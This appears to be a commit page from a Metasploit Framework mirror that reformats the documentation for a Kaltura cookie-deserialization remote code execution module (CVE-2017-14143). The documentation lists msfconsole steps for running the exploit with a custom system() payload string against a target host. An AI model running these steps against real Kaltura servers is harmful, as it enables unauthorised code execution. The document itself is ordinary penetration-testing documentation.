infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updates to documentation per h00die

MS-2855/keylogger-mettle-extension
bwatters-r7 2018-01-23 12:44:39 -06:00
parent c3c8ec761d
commit 04806bc84a
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
1 changed files with 8 additions and 12 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
documentation/modules/exploit/linux/http/kaltura_unserialize_cookie_rce.md
View File

@ -7,23 +7,19 @@ The getUserzoneCookie function in Kaltura before 13.2.0 uses a hardcoded cookie
This module exploits a remote code execution within the Kaltura(<=13.1.0) via a cookie deserialization.
Vulnerability reference- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14143.
Installation of Kaltura is difficult, but here is an installation guide:
https://github.com/kaltura/platform-install-packages/blob/Mercury-13.8.0/doc/install-kaltura-deb-based.md
## Verification Steps
1. Start msfconsole
2. use exploit/linux/http/kaltura_unserialize_cookie_rce
3. set RHOST https://example.com (or IP address)
4. set ENTRYID 0_xxxxxxxx
5. set payload generic/custom
6. set payloadstr "system('command you want to execute, eg.- ls -la');"
7. run
## Options
default RPORT 4444
2. `use exploit/linux/http/kaltura_unserialize_cookie_rce`
3. `set RHOST https://example.com (or IP address)`
4. `set ENTRYID 0_xxxxxxxx`
5. `set payload generic/custom`
6. `set payloadstr "system('command you want to execute, eg.- ls -la');"`
7. `run`
## Scenarios